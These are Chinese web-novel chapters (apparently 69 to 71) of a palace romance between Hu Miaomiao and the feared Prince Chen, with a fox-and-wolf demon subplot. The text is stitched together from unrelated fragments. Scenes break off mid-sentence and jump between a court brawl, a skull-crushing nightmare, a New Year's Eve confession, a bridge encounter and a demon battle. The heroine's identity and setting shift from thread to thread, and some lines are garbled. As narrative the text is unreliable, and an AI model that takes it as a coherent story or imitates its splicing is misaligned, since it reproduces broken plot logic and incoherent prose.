半盏茶后,她坐在淼苑的梨花桌前,不敢相信自己的眼睛,酷似桃花状的眼眸第一次瞪大,睫毛忽闪忽闪的,眼中好似盛满了星光,漂亮的不可思议…… 第一次见到她真情流露,原来,一个人不说话,只是坐在那弯弯眼睛,也可以那么好看。 君泽琛愣了一下,唇跟着扬起,随即像是想到什么,硬生生压了下来,做出惆怅的神色,“之之,我的一切都是你给予的,被人欺负也是你保护我,我很没用,只能为你做这些,应该都快凉了,不知道合不合你胃口。” 当然合胃口,安府有苍蝇捣乱,胡淼淼吃的并不多,这世界上,唯一一个能牵绊住她的,大概只有食物了。 君泽琛站在门口,指尖摩梭雪绸被子上面的红梅,他失去了记忆,可本能的知道自己不曾喜欢什么东西。 喜好等于弱点,触碰不得,早晚会被人抓到把柄,连穿的红衣,都是潜意识里觉得,若是染上血迹,会不那么容易发现。 他善于伪装,偶尔会采摘一些艳红的花,来掩盖血腥味。 而现在,手上绣着的花没有生命,没有味道,竟然瞅着那么顺眼,君泽琛仰头看了一下天色,是难得的好天,短短几息,被子都晒暖了。 恰巧这时,旁边的小丫鬟说:“小姐一直挂念着公子,将来公子可一定要好好对小姐。” 说者无心,听者有意,看着忙乎的众人,君泽琛视线似有似无地瞥向胡淼淼。 从醒过来的那一天,女子就出现在他的世界,照顾他的伤,关注他的衣食起居,还对他很“特别”。 虽然有时候她嘴上说喜欢他,眼里没半点感情,但是,这也没什么重要的,他要那无用的感情做什么,至少她不曾害过他。 他孤身一人,除非身世有问题值得她利用,不然她也没什么可图的。 她是大户人家的小姐,前者的可能性也不大。 君泽琛想不明白,但是他有多是时间,在她没露出真面目之前,他就依她继续演。 这样说服自己,君泽琛决定对她好一点,然而这一点十分困难,毕竟他孤家寡人一个,什么都是她给予的。 正想着,余光瞥见不远处,有烟囱的房间,心里生了一其他注意。 觉睡多了会越睡越困,胡淼淼意识沉沦,像是陷入了沼泽,越挣扎,就越是下沉。 眼皮沉重,发干,稍微转动一下眼珠都很难受。 她用手捂住眼睛,缓慢地张开。 刺目的阳光被床幔挡住,她浑身软哒哒,听觉和视觉都像是蒙上了一层纱布,找不到半点真实感。 她和身躯更是如同断开了连接,她的思想做什么,身体总是慢半拍。 拖着沉重的身躯,她扑腾半晌才爬起来,君泽琛不在她身边,胡淼淼悄悄松了一口气,随即听到有人在说话,床幔后,有两道小小的身影,有一搭没一搭的聊天。 “怎么还不醒,狐祖宗都进狼窝了,她怎么睡得着?” “哎,有没有一种可能,就是因为进狼窝了,才睡得着?” “为何?” “吓晕的。” 胡淼淼:“?” 瞎说,狐哪有那么不争气。 她才不是被吓晕的。 是谁在污蔑狐? 胡淼淼刷地一下拉开浅黄色的床帐,与炸毛鸡黑雾团子面面相觑。 “鸡大妖?山鬼?” 第 69 章 第 69 章 “你们怎么在这,不是应该在人界吗?” 胡淼淼立即挺直了身板,不小心拉伸到伤处,扶着腰呲牙咧嘴躺回去,疑似有一缕白色魂魄随着叹气吐出去。 她蔫了,耷拉着小脸蛋,看起来精神状态不太好。 宽大的寝殿内,但不论是摆设,还是色调,都以暗色为主,显得格外沉闷,唯有外室的点点亮光,伴随着那个人离开,而恢复孤寂…… 昏迷前,她是在华王府,被一个陌生男人救下……是刚才的那男人吧 ? 沐七搞不清楚王爷对这女人是什么心思,听她这么问,只能照实说:“这里是琛王府!” 琛王府? 胡淼淼看了眼周围的环境,心里忍不住发憷。 王府中没有过女人,沐七不擅长于女人相处,一时间气氛有些尴尬,找了理由让她别多想,就赶紧开溜了。 谁知道刚走出去,就看见本该去“熬药”并没拿药方的人,正站在门口看着自己,那眼中的情绪复杂,有冷意,也有嫉妒? 王爷今天莫不是被鬼附身了。 沐七惊出一身冷汗,刚要出声就被制止,君泽琛用眼神示意他跟着,等到了离主卧远远的,屋内听不到半点动静的距离,他才开口:“她……有没有说什么?” 其实他都听见了,但还是忍不住问一些关于她的问题。 “王爷,敢问,这位姑娘是谁?属下总感觉她似乎有心事。” “抢的。” 沐七惊:“哎?” “少废话,告诉本王怎么熬药!” 沐七一脸见了鬼,王爷真的要熬药? 能让王爷亲自动手,这特么抢回来的不是姑娘,是祖宗吧? 他没敢多想,赶紧写了一张药房,交给吴管家,等吴管家从王府药房取出药来又给君泽琛讲解熬药的步骤…… 胡淼淼自从他们走后,就坐在床上沉思,先是想琛王为什么救自己,然后不知不觉想到了自己照顾多年的白眼狼…… 说不揪心是假的,养个狗三年,都会有感情呢,而她用能力,整整救治了他三年…… “哎~”一声轻叹从她口中传出,不知道是不是身体的原因,刚醒来不久,胡淼淼就再次沉沉的昏睡了过去。 梦中竟也没消停。 寂静的黑暗,无尽的苍凉,封闭的空间内,让人窒息的气氛,床上病弱的女人消瘦的如皮包骨,失去了光芒的眼睛,向往着看着门口,然而紧紧一步之遥,她却连离开床都办不到。 吱呀一声,有什么破土而出,“小姐,该喝药了” 不! 来自心里的抗拒,让胡淼淼倏然睁开了眼睛,一不下心扯动了受伤的伤,血红色晕染了白色沙步,她却像是不疼一般,美眸有些失神…… “是梦吗?” 梦里那窒息的感觉让她心有余悸,没有光明,没有自由,就连环境都是陌生的,让她想不顾一切的逃脱…… “你醒了?” 门被敲响,胡淼淼抬眼,一个身体高大,长相及其俊美的男人走了进来,手中还端着青瓷碗,里面棕黄色的液体微晃,仿佛下一秒就会洒掉。 一看就是不熟练的手法,就知道这人并没干过这种活。 “王爷?” 胡淼淼惊诧一瞬,从床上坐起来,想要下地,却发现腿脚无力,这种感觉,让她有些慌乱,有那么一刻,她以为梦又成真了。 “你别动!” 胡淼淼顿住,就这么看着他把药小心翼翼的端到桌子上,配上那邪肆的脸,意外的有些喜感,心中的恐惧不知为何,在这一刻被冲淡…… 君泽琛刚把药放下,一转头就看见了一片刺眼的红,他神色一凛,“怎么伤口严重了?” 在胡淼淼惊诧的眼神下,他动作麻利的拿起一旁的剪刀,轻柔的拆开的纱布,从柜子里找了药,撒的时候动作一顿,低头提醒道:“可能会有点疼……” “王爷,不用麻烦……” 不等她说完,对方已经上好了药,她还没感觉到上药的触感,就已经包扎好了。 胡淼淼:“……多谢王爷。” 当知道救自己的是琛王时。她还以为对方可能是有什么目的,然而现在,她又有些不确定了。 而且她发现,眼前的男人,似乎可传言中的有所不同…… 传言琛王性格乖张,三年前掌控了朝中大半的势力,手握重权,专门和皇上作对,偏生皇上还不能拿他怎么样。 皇上登基的时候硝烟惨烈,唯有刚出生的君泽琛躲过一劫,在皇宫中苟活,谁都没怎么理会一个随时会死还未被封王的废弃皇子。 一切都在琛王十五岁那年发生了变化,年少的君泽琛竟不知何时积攒了自己的势力,朝臣觐见让他主持朝政,皇上当然不会允许,部分大臣也极力反对,然而反对的那些人,第二天都横死家中。 反对的人有多少?云邬国朝堂上气氛古怪,所有人大气不敢喘,这是这些年来,琛王与皇上党羽不是第一次在朝堂上争斗了。 琛王性子奇特,阴/阳古怪,在朝堂上没少撒野,只不过能让琛王这么针对一个人,当场亲自动手,还很少见。 君子华被嘲讽一波,要是以往,依照他的性格,不会当堂和琛王做对,然而这次不知怎么了。 他看着琛王,心中就不舒坦,这个抢走他东西的小人! 君子华开始反击:“呵呵,胡淼淼喜欢的我,并为得到我的宠爱不淼一切欺骗我多年,你抢回去又如何,她心还不是在我这,你什么都不是。” 不论何时,在君子华的心中,以自己的优秀,云邬国未来最被看好的储君,任何女人都不会移情别恋忘记他。 君子华这句话一出口,众人明显感觉室内气温冷了一个度 ,君泽琛脸色一沉,目光阴冷暴虐,如果这时候有四十厘米的大刀,他估计会直接让君子华狗带,但这并不妨碍他揍人! 御前不可带武器,君泽琛一把揪住君子华的衣领,声音刺骨:“你以为你是什么东西,全世界女人都要围着你转?” 更何况是,还敢提淼儿喜欢他? 喜欢个屁! 淼儿今后只会是他的,和君子华半毛钱关系都没有! 君泽琛在众人惊恐的视线下上去就一拳头,不顾君子华的反击,按在地上揍,专门揍脸。 他这一波操作,把君子华打懵了,不……应该说把在场的所有人都打懵了,他们目瞪口呆看着二人干架,甚至忘记拉架。 君泽琛打人凶狠,君子华反应过来,身为王爷当然会点功夫,被当众按在地上揍简直奇耻大辱。 君子华一个翻身正要反攻,被殿外一声皇上驾到给阻止了。 君泽琛趁着这个空档,把人拽起来上去就是一脚。 事情发生的太突然,众人正因为皇上到来而惊慌失措之际,君子华已经冲了出去。 以至于…… 皇上前脚刚从殿后踏出,还不等坐上龙椅,迎面而来一人扑通一声跪在了他面前。 众人:“……”乐极生悲,白日里胡淼淼雄赳赳气昂昂反欺负回去,夜里无端做了噩梦。 梦中男人造反成功,坐在皇位上,脚下踩着一个尸体,他大长腿随意一抬把尸体踹到一边,距离很近的胡淼淼被崩了一脸血。 随即她竟然不由自主地飘到龙椅旁,与那张帅气的帅逼脸怼了个正着,男人动作一顿,沾满鲜血的手指划过她的脸颊。 他的手骨节分明,却十分苍白,摸在脸上的触感冰冰凉凉,还有一股血腥味,胡淼淼甚至觉得,那血在自己脸上留下一道痕迹。 耳边的厮杀逐渐远去,这一刻似乎只有他们二人,独处在此…… 男人微微弯腰,一手搭在膝盖上,另一手抚摸着她,他们距离很近,近到能感受到彼此的呼吸,稍微再向前,便可亲吻到对方。 忽而他靠近了,清凉的气息喷洒在她唇畔,然后——他徒手掀开了她的头盖骨。 血滴四溅…… “还敢不敢踹我?” “嘤~” 偌大的寝殿内,足够睡三四个人的大床上,胡淼淼一个鲤鱼打挺起身,双手抱头嘤嘤嘤~ “哎?” 头还在。 脑袋上是实心的,胡淼淼眨了眨眼睛,摸向额头,上面竟沁出一层冷汗。 她:“……” 呸! 这点出息,不就一个头盖骨吗? 怎么吓成这样! 可是……真的好恐怖…… 尤其是最后一句话,如果时间能够重来,她真的不敢踹,反派的屁屁谁敢踹啊。 生活不易,炮灰叹气:“来人,洗漱!” 这些时日,她早就可以面对众人的服侍脸不红心不跳了,甚至有一丢丢享受。 没办法,咸鱼一样的生活,衣来张手,饭来张口神马的太爽了。 伺候完这位主子,翠花欲言又止:“公主……” “怎么了?”胡淼淼吃完饭,优雅地拿出帕子擦擦嘴,又漱了漱口,用眼神示意她说。 “君世子昨日从宫中回去,今早生了一场大病,宫中请去大半太医,说是世子自幼身体病弱,入水没来得及医治,受了风寒,还可能留下其他旧疾!” “噗~” 胡淼淼一口漱口水差点没咽下去,好在及时抢救,才没太狼狈。 她一双美眸瞪得老大,犹如猫儿般圆圆的,还是一只踩到猫尾巴的猫。 “病了?” 靠靠靠。 说起来这些锅昨日都甩在她身上,这病了岂不还是她的锅? 忽而胡淼淼捂住脑袋,一脸痛苦面具,吓坏了众人。 “公主,您这是怎么了?” “可是旧疾发作?太医,快叫太医,公主旧疾发作了!” “公主您先会寝殿休息,太医马上来。” 胡淼淼瘫在座位上一动不动,闻言非常丧气道:“不用,你去叫仵作,定要让他完美地保存好本宫的头盖骨。” 众人:“???” 见他们一脸似懂非懂,胡淼淼放下手长叹一口气站起来。 “走吧,本宫决定先去抢救一下。” 抢救一下自己,再看看对方病得重不重,不严重能凑合活就甩一下锅,严重就偷偷嘎巴一下弄死了事。 她可真是个求生欲极强的机灵鬼。 皇上:“……?” 那可是大半个朝廷,差点把云邬国给搞散架了,皇上无奈之下召集人才,补上那些职位。 谁知新上任的官员大半都是君泽琛的人…… 据说当时皇上差点被琛王气的驾崩,可见他的恶劣程度。 这些还都是君子华和她说的,曾经君子华对她知无不言,每每提起琛王的时候都颇为忌惮,如今看来,也并非如此不堪。 至少在胡淼淼眼中,是琛王救了她,是她的恩人。昨天晚上找上王梦瑶,阴阳怪气警告一番,原以为这事就算完了。 然而,一大早上,梁昌荣掉进了水里,差点救不回来,王梦瑶也不是吃素的,带着女儿王芋儿假惺惺去探望,彻底惹恼了差点失去宝贝儿子的胡海香。 往日虚情假意统统撕破,胡海香当众羞辱,“我儿子这样,还不是因为你女儿丧门星,小小年纪就知道勾引男人,昨天给我儿子投怀送抱,今日我儿子就变成这样了。” 梁昌荣还在床上昏迷,两个女人吵得不可开交,直接把事情闹大了,搞得府上人尽皆知,新回来的私生女小姐,竟然跟表少爷搞到了一起,一时之间,一传十十传百。 “听说了吗,表少爷落水另有隐情,全都是爱恨情仇。” “什么?表少爷和王姑娘在一起,香夫人不同意这门婚事,今天一早私奔失足落水?” “不对不对,你们这可说错了,明明是……”早知道不喝了。 “罢了。”一路上,夏小荷给胡淼淼讲去林府的事儿,昨儿当着众人面,林桃秀说要奉还胡淼淼赠与的东西,可实际根本没放在心上。 毕竟原主的软弱根深蒂固,根本做不出来上门要东西的举动,未曾想胡淼淼这次不做人了,大张旗鼓上府上讨要,闹得门口全是人。 恰巧有翰林院的同窗来找她父亲,碰见了这场面,林大人里子面子都被这个女儿丢尽了不说,而后发现林桃秀偶尔发脾气摔碎的首饰,根本不够赔给胡家的。 没办法,他动用了林府的库房,掏空了大半才补上胡淼淼的账单。 胡淼淼大致扫一眼,发现原主比阿冤还冤种,胡家若是财力不丰厚,根本不够她造的。 细细数下来,仅仅送林桃秀的,就有三箱子,价值几千两银子。 “小姐,这些东西怎么处置?放回胡府库房吗?” 思及此处,胡淼淼再一次郑重的道了谢:“今日多谢琛王救命之恩。” 君泽琛眼眸一暗,把柜子上的药递了过去:“先把药喝了,本王救你是有目的的。” 他说的直白,倒是让胡淼淼松了一口气,要说没有目的,她才是真的担心了,她伸出手却发现手上包裹的那么厚,根本就端不了药。 “本王喂你……”君泽琛看出了她的难处,心底有些酸涩,抬手拿起勺子,轻轻吹了吹递到了她的嘴边,其实,这是他梦寐以求的。 曾经他看着她受伤难受,却又只能默默藏起来关注,说起来,这还是他们第一次接触这么久。 或许他对于她来说还是个陌生人吧。 琛王亲自喂药的待遇,胡淼淼还是有些吃不消的,然而此时她手不方便,只能依靠他了,口中熟悉的苦涩袭击味蕾,顺着喉间侵入胃里,让她身体生出了几分暖意。 喝完药后,她轻咳一声,忽略周身的疲惫,出声问道:“王爷,可有看见我身边的丫鬟?” 彩衣是胡淼淼的陪嫁丫鬟,之前也是一直由她照顾自己身体的,如今她在琛王府,却一直不曾见过彩衣。 君泽琛一愣:“不曾!” 当时眼里只有她,谁去关注一个小丫鬟。 胡淼淼想了想:“或许她回将军府了,我想回去看看。” 君泽琛倏然站了起来,脸色说变就变:“不行!” 好不容易带回府,谁都别想让她离开,就算是她自己。 胡淼淼没想到自己随意说的话,竟然让他反应那么大,顿时吓了一跳,一口气卡在胸腔,开始剧烈咳嗽。 她咳嗽,刚还变脸的人立马慌了,笨拙的给她顺气。 “你怎么了?别激动,本王就是想等你伤好了再离开,不是故意凶你的……” 君泽琛知道自己有时候模样很吓人,想来她一定是吓坏了,当下等人不咳嗽了,把人推会床上,盖好被,就赶紧走了,深怕慢一秒就把人吓没了。 躺下的胡淼淼还处于迷糊状态,为什么上一秒发火的人,下一秒就手忙脚乱的走了? 真不至于。 “你出来了?” 一声沙哑的声音从外面传来,灰衣女子身材曼妙,腰间点缀着铃铛,五官立体,皮肤是健康的小麦色,是那个女狼医,她穿得比上次见面要保守一点。 胡淼淼眼睛一亮,“是你呀。” 第 70 章 第 70 章 毛绒团子从桌子上跳下来,一头窜到女人身边,围着她的身边转圈圈,大尾巴时不时扫过她的裙摆。 这次的漂亮姐姐穿了很长的裙子,她可以用爪子勾,可以用尾巴蹭,在上面留下若干狐毛。 乾女眼皮子一跳,沉默地弯下腰,将身上的狐毛摘下来,默不作声一根根插回去。 小狐狸没有发现她的小动作,只是后背有些痒,回头舔舔,舔了一嘴毛,呸呸两口,然后继续仰着头看乾女,那眼神很热情,就像是一只撒娇卖萌的小狗狗,眼睛晶晶亮,漂亮又无辜。 乾女不善言辞,更难以消受小狐狸的热情,她冷了好半晌才迟疑地伸手摸了摸,“我听说你这几日出来了,还以为是道听途说。” 旁人只知道狼王宠狐,却不知道有多宠,宠得恨不得揣怀里藏着不被任何人觊觎,她身为女妖都能感受到狼王对自己的敌意。 上次一别,她以为小狐狸被王强制起来,今后无法见面了,未曾想她竟然轻而易举出来。 狐族的皮毛要比狼族的细软,乾女摸了好久,“可是王放你出来的?” “呼呼~” 红烛晃动,滚烫如火如荼,大红色卧房,因为除夕更加艳丽,昏黄夹杂着红的光晕照应在二人脸上,他们神色各异。 胡淼淼苍白脸色微微红润,美眸荡漾着水波久久不曾平静。 “原来……你才是我救过的人……” “你怎么了?”君泽琛没想到她听了消息后这么激动,他坐在椅子上握紧双手,整个人无措了起来。 一时之间,不知如何是好。“我和姐夫切磋几招儿。” 胡宁羽缓了半晌,才从冰冷的地上支棱起来,拍拍身上的雪,笑着对胡淼淼解释,却不想牵扯到伤口,吸了口凉气。 你管这玩意叫切磋? 胡淼淼眸子在他脸上扫视一圈,这不是单方面找揍吗? 君泽琛不动声色走到她身边,把身上的长裘披给她,暗中给了胡宁羽一个赞赏的眼神儿。 好小子,这声姐夫叫的真甜,也不枉他揍他几顿! 看得出来二人玩的“挺尽兴”,胡淼淼对他们笑了笑,二人在将军府吃了一场团圆饭就回王府了。 除夕之夜,本就应该与家人一起,琛王没什么亲人,在将军府也算是最热闹的一个年了。 天色暗淡,回到琛王府就感觉一阵空荡荡,王府的侍卫少了很多,反倒就剩下俩人安安静静,胡淼淼一时间也不知道该干点什么,就打算早点休息。 至于守岁? 胡淼淼自幼体弱,还没受过几次。 只不过在她即将回房间的时候,琛王突然捂住她耳朵,沉寂的琛王府内突然烟花炸响,花瓣一样的火花在夜空中朵朵绽放,照亮了夜空,以及夜空中的人。 胡淼淼被这突如其来的情况搞得一懵,不是说王府没人吗? 还不等她有所反应,后背贴上了什么,明明是冰冷的夜里,男人胸膛滚烫,好似要融化心尖。 胡淼淼腰间一紧,男人捂住她耳朵的手换了位置,头枕着她脖颈处,随着天空一簇簇烟火,他炽热的呼吸打在她脖颈处。 “真美~” 真美? 胡淼淼僵硬在怀中,敏锐的发现,琛王今日似乎与往日夜里有所不同了。 昔日睡觉之时,男人会抱着她,可不会再做出其他举动。 而今天…… “噗通~噗通~” 不知是谁想心跳,在盛世烟火之中,清晰可闻…… “阿琛?” 她迟疑的唤了一声他名字,只觉得这一刻他好像有些古怪。 “淼儿~我们做正常夫妻吧。”男人埋首,呼吸越发灼热,声音难掩难掩的认真。 在选妃宴上,他就决定表白了,因为不迈出这一步,他就永远不放心,同为男人,他当然知道君子华并没有死心,甚至是爱淼儿的。 他一定在君子华明白心意之前,早点表明心意。 君泽琛自认为,比君子华优秀,甚至可以直接杀掉君子华,可他害怕,害怕淼儿还喜欢那个男人。 害怕重蹈前世覆辙。 腰间的力量越来越紧,胡淼淼被那句“做正常夫妻”给震住,想要回身,被死死按住。 她垂眸,透过烟火留下的光,可见他手上青筋若隐若现,像是在忍耐着什么…… “你……”她苍白的嘴唇颤了一下,“认真的?” 胡淼淼现在的感觉,就像抢亲那天一般不真实,相处三年的男子突然想要置她于死地,人人惧怕的男子却在向她表白心迹…… 她分不清真假,只知道琛王的感情似乎来的莫名其妙! 如果说,仅仅当花瓶琛王妃她可以。 可若是真的和这样男子度过余生,把自己完全托付出去,她真的有些胆颤。 君泽琛深呼一口气,克制着把人转了过来,盯着她眼睛,鹰眸之中全是她的倒影。 “认真的,我喜欢你很久了,抢亲早有预谋 ,我有病也是真的,只不过是心病,只有你在我身边,我才能感受到片刻安宁。” 他想,只有她在身边,他才能确认彼此活着,而不是和前世那般错过彼此。 君泽琛豁出去了,以往掩藏着的情绪不再压抑,那双视线充满了贪婪,疯狂的让胡淼淼有些招架不住。 这种感觉,好似被饿狼盯上一般,随时可能被吞之入腹。 胡淼淼眸子定定看着他…… 为什么大婚当日救她于水火,为什么把她归纳在羽翼之下,又为什么对她小心翼翼…… 琛王身上的古怪在这一刻,终于迎刃而解了。 原来她当年救下的,竟然是琛王。 胡淼淼看着君泽琛的双眸,隐约之间与那夜面具之下宛如孤狼的眼重叠在一起。 怎么早没发现…… 她认错人了? 不对,当年三王爷突然登门拜访,声称是她所救之人,外加三王爷与琛王眼睛形状相似…… “呵呵~”一声低笑从胡淼淼口中传出,她在君泽琛惊慌失措中,第一次主动握住他的手,语气认真:“还不晚!” 与君子华三年相处之中的违和感,却始终没有当年仓皇一瞥,她与那夜的孤狼彼此错过,又因为男人的努力而掰回正轨,还不晚…… “什么?” 君泽琛手一僵,不敢置信,红色从耳朵根蔓延到俊朗的脸上,他整个人都懵了,他日盼夜盼,只敢偷偷守望的天边皓月,竟然主动接近他了。 他不知所措,只能睁着眼睛看她,一时之间脑子嗡嗡作响,就见那张苍白却粉/嫩的唇瓣一开一合:“或许,我们可以试试……” 或许…… 我们…… 可以试试……先皇开春离去,三月过去悄然入夏,柳絮迎风吹动,小桥流水,河面上倒映着两个抱在一起的身影,他们一高一矮,衣袍翻飞之间彼此错愕。 “咳咳咳~” 清冽之中又泛着苦涩的香气传入鼻尖,胡淼淼娇小的身躯撞入一片火热之中,紧接着的一阵剧烈咳嗽,唤回了头脑发晕的她。 水中倒影迅速分开,胡淼淼下意识抬头看去,眼底飞快闪过一抹惊艳。 好俊俏的美男子。 男人一身藏青色长袍,袖口和胸襟绣着金丝纹样,长发被玉冠束起,长相俊美,眉眼如画,线条流畅硬朗,身材高挑如竹,却给人一种脆弱感。 他身体似乎很不好,刚才的碰撞胡淼淼没觉得有什么,反而是他咳嗽到面色通红,修长的指尖微微抵触唇角,好似病如西子惹人怜惜。 等等…… 怜惜是什么鬼? “你没事吧?”胡淼淼后退一步保持距离,轻声问完又觉得自己说的是废话,连忙尴尬地补上一句:“有哪里不舒服?” “咳~”男人努力平复胸膛的怒意,让自己平息下来,他脸虽红,嘴角却苍白:“你不知道?” 胡淼淼:“???” 她知道个鬼哦! 见她这幅茫然的神色,男人心里冷笑,表面上却脆弱地依靠在桥两边的石栏上。 宫中的事物无不精细,石桥两旁的栏杆莫约一米高,上面石匠精心雕琢水胡纹栩栩如生,鬼斧天工,男人高挑的身躯微微蜷缩,所有重力都压在上面,眉眼紧皱,也是在这个时候,胡淼淼才发现他的状态不对劲儿。 她伸出小爪子戳了戳他的脸颊,却被他一把推开。 “公主请自重。” 胡淼淼捂住被打得通红的小手手,瞪他一眼:“不识好人心。”这人长得那么好看,怎地脾气这么差劲,戳一下又不会怀孕。 “呵~”男人虚弱地发出一道气音,目光逐渐迷离,饶是如此依旧保持着警惕,在说完这句话后,他呼吸越发沉重,像是忍耐着什么,滚烫的汗水从他额角滑落,顺着下巴打湿了衣衫。 看样子…… 中*药了? 电光火石之间,她脑海中好像闪过什么来着,不过转眼就忘了,远处传来翠花等人的呼喊声,胡淼淼着急跑路,她猫儿般的眼眸深山看了一眼男子,再次伸手靠近他,轻轻抓住他的衣摆试探性道:“你不想被人占便宜对吧?” 占便宜? 君泽琛眼角微红,思绪有些溃散,下意识点头,耳边好似幻听…… “!” 君泽琛心脏骤停,刷地一声站起来跑了出去,动作迅猛,毫不拖泥带水! 胡淼淼:“……???” 她笑容僵硬在脸上,还没搞清楚什么事,就听房外传来阵阵呐喊,胡淼淼轻咳一声压抑着因为激动而有些刺痛的心尖,推开窗户,就见夜空烟花摧残,房梁上一个奔跑的身影在窜动,噼里啪啦的砖瓦被踩落掉地…… 王府留守的侍卫:“……” 他们面面相觑:“王爷怎么了?” 大半夜发什么疯? 这一夜,堂堂到处作乱,肆意张狂的琛王殿下,整整在王府房顶上跳了一个时辰,还非常严谨的避开了主卧房顶…… 这一夜,王府侍卫发现自家王爷好像疯了,以至于开始思考要不要叫沐七好好治治…… 这一夜,王府附近的宅院以为除夕之夜闹了鬼,夜里有个黑影在晃荡,还带着阴森森的笑声。 这一夜,琛王没回主卧睡觉,而是趴在主卧门口傻笑。 一道声音焦急的传来,胡淼淼像是抓住的某根稻草,猛地从梦中醒来,下一秒就被抱进一个滚烫的怀中,男人面带急色:“你怎么了?” 君泽琛嘚瑟一个晚上,总算从喜悦之中回神,可是思及自己昨天晚上做的蠢事有些懊恼,不敢进屋,直到太阳高高挂起他才发现不对劲儿,进屋就看见淼儿脸上不好,流汗不止,一时间他忘记了不自在,赶紧把人叫醒。 皇上一拍桌子,“吵吵闹闹,一个女人就让你们吵成这个样子,成什么样子。” 君泽琛附和:“就是,吵成什么样,直接弄死就好了。” 君子华对他怒目而视,往日里君泽琛父皇说什么怼什么,今日还附和上了。 君子华不明白,他自认为未曾得罪过这位,就因为嫉妒吗? 嫉妒胡淼淼喜欢自己? 可就算嫉妒,自己娶的女人越多,他不就应该越高兴吗? 怎地非要阻止他娶水芸? 难道是胡淼淼说了什么? 对,定是那女人嫉妒水芸得到自己宠爱,在君泽琛面前吹了耳边风。 这个贱人,亏他还对她有点感情,竟总妄想掺和他的生活! 这么听话? 狼王眼底闪过一抹诧异,然而就在这时,一道强光从身后炸开,伴随着一声怒吼。 “都去死。” “王!小心!” 强烈的、蕴含着滚滚法则的力量,伴随着强烈的危机感,君泽琛在第一时间将胡淼淼丢出去。 “嘬嘬!” 胡淼淼眼眸瞪大,在意识消失的前一秒,她看见被力量吞没的君泽琛,和周围模糊扭曲的景象。 这一刻,世界仿佛是一面被打碎的镜子,尽数破碎在眼前。 一切发生的太快,谁都未曾了被禁锢的王女,会爆发出那样的能力。 空间法则之力。 小狐狸在半空中翻了个身,后腿一蹬,毫不犹豫窜回去,奔向那消失的身影。 他在哪,狐就在哪。 70-80 第 71 章 第 71 章 闷雷划过夜空,雨水冰冷地砸在地面上,君泽琛睁开眼睛,到处都是讨厌的狐族。 他无视不堪一击的天敌,下意识寻找胡淼淼的身影。 没有,修炼的狐族什么颜色都有,唯独没有他喜欢的那一抹蓝色,狐族喜火,同样厌烦拥有水灵的狐狸。 耳边是各路狐狸着急回家的窜逃声,暗无天日,唯有天空刮过闪电时,世界仿佛都大了几分。 君泽琛为胡淼淼争抢魅果路过此地,正是有苏狐族的一座小山上。 他不是在狼族吗? 为什么会在这里? 除了在人界莫名其妙受了伤意识陷入沉寂,君泽琛从未如此被动过。 他不放心胡淼淼,立即起身去狼族,然而每次都和遭遇鬼打墙一样,无论他怎么绕,怎么走,缩地成寸,术法传送都没办法走出狐族,这里就像是有一条绳索,无声无息地拉扯着他,让他留下来。 “啪嗒嗒……” 京城猜测芸芸,却不知道,他们以为身受重伤,即将挂掉剩下一口气的琛王,今日乐在其中,恨不得刺客再多戳他几箭,让他享受一下快感…… 咳咳,不是受虐倾向,是温柔乡待遇。 沐七熬了药,麻木的看着床上“脆弱”的王爷,喝着王妃喂过去的药药,郁闷的吸了吸鼻子。 造孽啊! 为毛这种场景总是被他碰到,上次是王爷喂王妃,这次反过来了。 可是那能一样吗? 这种苦药最好一口闷,就受一次苦,一勺一勺慢悠悠喝,等于凌迟吗? 王妃喝惯了苦药也就算了。 王爷你是怎么回事? 一小口一小口喝,往日英明神武的王爷一脸虚弱,时不时还咳两嗓子,如果沐七没记错,君泽琛伤的是背后,箭没插进肺管子吧? 很快,熟悉的冷眼落在沐七身上,沐七深深叹了口气,顶着压力退出。 君泽琛这才满意的收回视线,若无其事喝着药,心里和抹了蜜似的。 他甚至还想,若是能这样过一辈子就好了。 等他喝完,胡淼淼放下碗,又拿起一旁需要敷上去的药,和帕子。 其实这些本不用她插手,但是心中还是有些过意不去,反正她又会一些医术,帮忙收拾收拾,总比沐七一个男人强。 毕竟男人下手都很重的。 胡淼淼如是想着,动作缓慢拉开那层染血的纱布,视线在血洞上一顿,男人背脊哪怕是受伤,亦挺拔如松,皮肤不像她的苍白,反而是健康的麦色,她匆匆看一眼,就赶紧低下头处理伤口。 当她指尖触碰到他的时候,男人背脊猛地一绷,胡淼淼停下动作:“很疼吗?” 可是她碰的只是伤口边缘而已…… “没……继续吧。”君泽琛背对着她,脸上隐忍着。 不是疼,而是…… 背后的指尖柔软,细腻,却又有一丝凉意,触碰到的时候,一股酥麻感在伤口处蔓延,从尾椎到心尖,君泽琛整个人都僵硬在床上,任由胡淼淼摆布,甚至动都不敢动一下,深怕被发现弊端,把人吓跑了。 身为琛王,他可以祸害朝堂,狂傲肆意,连皇上都要礼让三分的摄政王。 可在胡淼淼面前,君泽琛就是一个普普通通的男人,面对心爱女子,畏首畏尾的愣头青。 男人的不自在,胡淼淼感觉得到,只不过他并没多想,也不知道因为她一个简单的动作,某人不论是身还是心都有了很诚实的反应。 她只当伤口疼痛的原因。 刚把伤口敷上药处理好,吴管家敲响了房门,君泽琛脑中涟漪被打断,正打算好好培养感情的他心生不悦。 吴管家怎么那么没眼力见儿,还不如人家沐七。 某处捣药的沐七打了个喷嚏,默默摸了摸鼻子,有些抑郁,都是王爷他们害的,每次都大半夜欺负他熬药。 “莫不是累出病了?”他喃喃自语,很淼命的给自己开了个方子继续熬药。 与此同时,吴管家传话:“王爷王妃……” 他看了一眼胡淼淼,一副欲言又止的模样,让君泽琛有些不耐:“有事就说!” 君泽琛眉宇皱起,浑身上下就连头发丝都写着不爽,如果能有脸色写字,那么此时,他的脸上一定写着“有事快说,没事快滚”几个大字。 吴管家踌躇片刻,但王爷和王妃一时半会好像不会分开,最后一咬牙道:“皇上传出……年关要为三王爷办选妃宴的消息。” 以往宫中传来消息,就算王爷不在意,他们这些做下人的也要通报一声,所以他就来传递消息了。 可是…… 吴管家皱吧着脸,唉声叹气。 三王爷喂! 不就是他们家王爷抢亲那位,王妃的前任吗? 皇上又搞什么幺蛾子…… 冷不丁听到这个名字,胡淼淼只是收拾了一下东西,放在一旁,看不出任何变化,反倒是君泽琛下意识看了她一眼。 见她没有不开心,眉宇松了松,对吴管家道:“本王知道了,下去了。” 等吴管家退下后,君泽琛突然坐直了身体,拉过胡淼淼。 胡淼淼体寒,一年四季手指冰凉,冷不丁被一双温热的大手包围,她睫毛一颤,还不等做什么,就听男人问:“你还在乎他吗?” 不知是不是错觉,胡淼淼总感觉他的语气中小心翼翼,仿佛在担心什么…… 